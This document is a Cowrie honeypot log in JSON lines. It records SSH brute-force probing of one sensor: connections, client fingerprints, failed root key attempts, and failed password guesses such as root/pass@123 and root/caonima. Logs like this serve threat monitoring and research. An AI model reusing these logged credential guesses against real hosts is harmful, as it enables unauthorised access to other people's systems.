{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:c4:98:0c:40:73:9c:f0:ed:df:a9:d2:6d:89:15:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5CaEMxCkuaQCISnaYjDLInoYJ9HuNhQg6Zpi7rVTOMCxp8ZhonUCGiBo3cq7gm7x4ltpZh06ZuPFtTjPewJocPRKs0vFWaGiR9gAktzciCGctIPEeMFMW67OQNafdFjvHkKDHpt2evh82LwtIRa/4bQaW4nQxOJmfboDAiXVvmMwqNemRyDkyRDUjvbgIYZYB420IWINvxli/WXuA45rP5JmasIpOya8c0H70mK9NK+cs2hltKqvAq3M1gQFfpD0EkmG3KgZOI34NOQUQFJyms+Jly1dZXeJR2STbh9jSnYTNTq197lyhWPOliWy2skdlbtyCAVZqSwpi79lrDLxL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:c4:98:0c:40:73:9c:f0:ed:df:a9:d2:6d:89:15:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:57.455365Z","src_ip":"91.98.151.17","session":"16a2bc647c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:c4:98:0c:40:73:9c:f0:ed:df:a9:d2:6d:89:15:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5CaEMxCkuaQCISnaYjDLInoYJ9HuNhQg6Zpi7rVTOMCxp8ZhonUCGiBo3cq7gm7x4ltpZh06ZuPFtTjPewJocPRKs0vFWaGiR9gAktzciCGctIPEeMFMW67OQNafdFjvHkKDHpt2evh82LwtIRa/4bQaW4nQxOJmfboDAiXVvmMwqNemRyDkyRDUjvbgIYZYB420IWINvxli/WXuA45rP5JmasIpOya8c0H70mK9NK+cs2hltKqvAq3M1gQFfpD0EkmG3KgZOI34NOQUQFJyms+Jly1dZXeJR2STbh9jSnYTNTq197lyhWPOliWy2skdlbtyCAVZqSwpi79lrDLxL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:57.459252Z","src_ip":"91.98.151.17","session":"16a2bc647c72","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:d5:d8:de:6f:b8:cd:09:ee:a5:8f:ca:f7:b7:c1:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJcvAB97cysEnw1DWvSwQdbpyDjLF5uR4+Ef5pFUpUrjEzODm0eyulqfcmki3npfhVmm5xmy9qdsAPh3Y7OQldQRSvIfA/EkomobtBZidXlCczEuLZ14gP2udei+I/T5Xzbs0Hs26ciArrGfeybTcj8toBA8IqGJlurSE5FueBnIdQ63B5SN2czNS8AsJmDtE9TLvfeWwFAJAJpJLyBroc62Tt8f/xRrSVXuAIi9CCmBD5CDwnXaIM6YQFFS7JkaJrXIye2fizbEh19hVLQdt2s8pKvNncMxQ9Wqf4gX//QScYkNffvfc+4jG9ANmwxZroXjFbeBcmBnC4V4aMVxJsuNfLXkVUfcJh9Kdq141g3mjX+4X9ofEN/DqRD0SvEcvVQF+EU8OXMYnUAhiBh0wfKTPtS5DxbYiE4OTLmqNYLOmSiH9d2BRgjacyVvs6S8NN0Nh2CQc7rc9tahmDbDApAXpkUenQ0sRZb/nz5RW6KNgOJdwWRHLlDUmdDVZCmsWi8J8Q/GLjQEH50EF2lSgCkD8mRJ5HGFPpbq9AiCWv1HD7ZjRZI/7x+jnAu/4SfqH3XFZ29I+w+Xn769WXVhvzwX0qK2js0fSz8D054jl0ZUYUM1KZF46fWeooCZrR6VkZ+P5mrofct4eA/HIGQ2i8fNltE3g6zNpntDIpVDENNw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:d5:d8:de:6f:b8:cd:09:ee:a5:8f:ca:f7:b7:c1:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:57.555281Z","src_ip":"91.98.151.17","session":"16a2bc647c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:d5:d8:de:6f:b8:cd:09:ee:a5:8f:ca:f7:b7:c1:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJcvAB97cysEnw1DWvSwQdbpyDjLF5uR4+Ef5pFUpUrjEzODm0eyulqfcmki3npfhVmm5xmy9qdsAPh3Y7OQldQRSvIfA/EkomobtBZidXlCczEuLZ14gP2udei+I/T5Xzbs0Hs26ciArrGfeybTcj8toBA8IqGJlurSE5FueBnIdQ63B5SN2czNS8AsJmDtE9TLvfeWwFAJAJpJLyBroc62Tt8f/xRrSVXuAIi9CCmBD5CDwnXaIM6YQFFS7JkaJrXIye2fizbEh19hVLQdt2s8pKvNncMxQ9Wqf4gX//QScYkNffvfc+4jG9ANmwxZroXjFbeBcmBnC4V4aMVxJsuNfLXkVUfcJh9Kdq141g3mjX+4X9ofEN/DqRD0SvEcvVQF+EU8OXMYnUAhiBh0wfKTPtS5DxbYiE4OTLmqNYLOmSiH9d2BRgjacyVvs6S8NN0Nh2CQc7rc9tahmDbDApAXpkUenQ0sRZb/nz5RW6KNgOJdwWRHLlDUmdDVZCmsWi8J8Q/GLjQEH50EF2lSgCkD8mRJ5HGFPpbq9AiCWv1HD7ZjRZI/7x+jnAu/4SfqH3XFZ29I+w+Xn769WXVhvzwX0qK2js0fSz8D054jl0ZUYUM1KZF46fWeooCZrR6VkZ+P5mrofct4eA/HIGQ2i8fNltE3g6zNpntDIpVDENNw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:57.559583Z","src_ip":"91.98.151.17","session":"16a2bc647c72","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:9c:01:bd:d9:a4:cb:07:a4:74:a0:d5:71:82:dc:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8AUTYsPmIDs/+e3YpI8xpBMk8luaTNVRZm32+7XG9Jg2To3oF7/ZMOn5JJWRHlY7dwZcmYwz6SivvKN1U/NlTR9byfZy8FbKBT5sMFvEc9K5EwNTp3+nv1z6eeK4f7m9uI9HTM89FEYFQ/VUOKSGYXeKT9NKplDfKZOiDoGE8A63C4ezwANEr037f+zHp6zyXZZOtU0C387xdlVn5+e3BSVlRCC/80xX97+JUOgAnkEYQvuhzW1SZl6KuryNOu6/otG16lEtkFOtLIwl6YAMMLgl14equalG9qxYUnG76REhs97mN3tDLhAIDNG2TUzczZiTWvkQDWeKY9s+v5gkz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:9c:01:bd:d9:a4:cb:07:a4:74:a0:d5:71:82:dc:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:57.654513Z","src_ip":"91.98.151.17","session":"16a2bc647c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:9c:01:bd:d9:a4:cb:07:a4:74:a0:d5:71:82:dc:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8AUTYsPmIDs/+e3YpI8xpBMk8luaTNVRZm32+7XG9Jg2To3oF7/ZMOn5JJWRHlY7dwZcmYwz6SivvKN1U/NlTR9byfZy8FbKBT5sMFvEc9K5EwNTp3+nv1z6eeK4f7m9uI9HTM89FEYFQ/VUOKSGYXeKT9NKplDfKZOiDoGE8A63C4ezwANEr037f+zHp6zyXZZOtU0C387xdlVn5+e3BSVlRCC/80xX97+JUOgAnkEYQvuhzW1SZl6KuryNOu6/otG16lEtkFOtLIwl6YAMMLgl14equalG9qxYUnG76REhs97mN3tDLhAIDNG2TUzczZiTWvkQDWeKY9s+v5gkz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:57.658650Z","src_ip":"91.98.151.17","session":"16a2bc647c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:57.752043Z","src_ip":"91.98.151.17","session":"16a2bc647c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53047,"dst_ip":"159.203.135.109","dst_port":22,"session":"c00d5db8b6f6","protocol":"ssh","message":"New connection: 152.42.212.128:53047 (159.203.135.109:22) [session: c00d5db8b6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:57.902510Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:57.907086Z","src_ip":"152.42.212.128","session":"c00d5db8b6f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:57.910538Z","src_ip":"152.42.212.128","session":"c00d5db8b6f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":37124,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d17dedcc7c8","protocol":"ssh","message":"New connection: 2.57.122.238:37124 (159.203.135.109:22) [session: 1d17dedcc7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:02.817247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:02.822715Z","src_ip":"2.57.122.238","session":"1d17dedcc7c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:02.928561Z","src_ip":"2.57.122.238","session":"1d17dedcc7c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:03.245741Z","src_ip":"2.57.122.238","session":"1d17dedcc7c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":59790,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ffdd29ee162","protocol":"ssh","message":"New connection: 43.134.27.11:59790 (159.203.135.109:22) [session: 4ffdd29ee162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:03.314735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:03.322685Z","src_ip":"43.134.27.11","session":"4ffdd29ee162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:03.568781Z","src_ip":"43.134.27.11","session":"4ffdd29ee162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:04.354212Z","src_ip":"2.57.122.238","session":"1d17dedcc7c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"caonima","message":"login attempt [root/caonima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:04.586533Z","src_ip":"43.134.27.11","session":"4ffdd29ee162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:05.836727Z","src_ip":"43.134.27.11","session":"4ffdd29ee162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":55620,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c7320fc1352","protocol":"ssh","message":"New connection: 43.173.89.56:55620 (159.203.135.109:22) [session: 9c7320fc1352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:07.504218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:07.509464Z","src_ip":"43.173.89.56","session":"9c7320fc1352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:07.577393Z","src_ip":"43.173.89.56","session":"9c7320fc1352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass@123","message":"login attempt [root/pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:07.883645Z","src_ip":"43.173.89.56","session":"9c7320fc1352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:08.956441Z","src_ip":"43.173.89.56","session":"9c7320fc1352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:13.272785Z","src_ip":"101.126.22.12","session":"e9c2c379f325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":47076,"dst_ip":"159.203.135.109","dst_port":22,"session":"aac7aa30d34c","protocol":"ssh","message":"New connection: 103.75.182.198:47076 (159.203.135.109:22) [session: aac7aa30d34c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:13.340214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:13.346608Z","src_ip":"103.75.182.198","session":"aac7aa30d34c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:13.593307Z","src_ip":"103.75.182.198","session":"aac7aa30d34c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pasha","message":"login attempt [root/pasha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:14.592398Z","src_ip":"103.75.182.198","session":"aac7aa30d34c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:15.846397Z","src_ip":"103.75.182.198","session":"aac7aa30d34c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":47470,"dst_ip":"159.203.135.109","dst_port":22,"session":"330952635f90","protocol":"ssh","message":"New connection: 43.130.16.4:47470 (159.203.135.109:22) [session: 330952635f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:35.433252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:35.438634Z","src_ip":"43.130.16.4","session":"330952635f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:35.507734Z","src_ip":"43.130.16.4","session":"330952635f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"136060","message":"login attempt [root/136060] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:35.811881Z","src_ip":"43.130.16.4","session":"330952635f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:36.886119Z","src_ip":"43.130.16.4","session":"330952635f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.09128975868225,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:38.686365Z","src_ip":"192.119.13.58","session":"c74046742b03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":50794,"dst_ip":"159.203.135.109","dst_port":22,"session":"d35f6c6f19cc","protocol":"ssh","message":"New connection: 181.47.9.103:50794 (159.203.135.109:22) [session: d35f6c6f19cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:43.329024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:43.332599Z","src_ip":"181.47.9.103","session":"d35f6c6f19cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":56306,"dst_ip":"159.203.135.109","dst_port":22,"session":"295a5fe90c66","protocol":"ssh","message":"New connection: 43.153.39.191:56306 (159.203.135.109:22) [session: 295a5fe90c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:43.360971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:29:43.364752Z","src_ip":"43.153.39.191","session":"295a5fe90c66","protocol":"ssh"}
